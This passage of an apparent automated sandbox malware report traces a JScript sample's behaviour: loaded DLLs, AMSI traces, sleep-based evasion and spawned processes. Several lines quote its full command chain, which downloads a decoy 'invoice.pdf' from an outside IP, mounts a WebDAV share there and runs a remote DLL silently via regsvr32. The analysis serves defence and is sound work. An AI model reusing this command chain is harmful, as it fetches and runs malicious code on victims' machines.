Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\9400.js.csv");ITextStream.WriteLine(" entry:7250 f:pumoajygm");ITextStream.WriteLine(" exec:2 f:pumoajygm");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49711

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4408			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5450			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5712	Thread sleep count: 4408 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5712	Thread sleep count: 5450 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2324	Thread sleep time: -13835058055282155s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6468	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 5960	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7184	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000003.2168450704.00000251AE34A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2170848202.00000251AE34A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2170147706.00000251AE2E8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2164767025.00000251AE34A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3405877569.00000215E9024000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3407623479.00000215EE654000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135193209128171.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135193209128171.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135193209128171.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135193209128171.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135193209128171.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
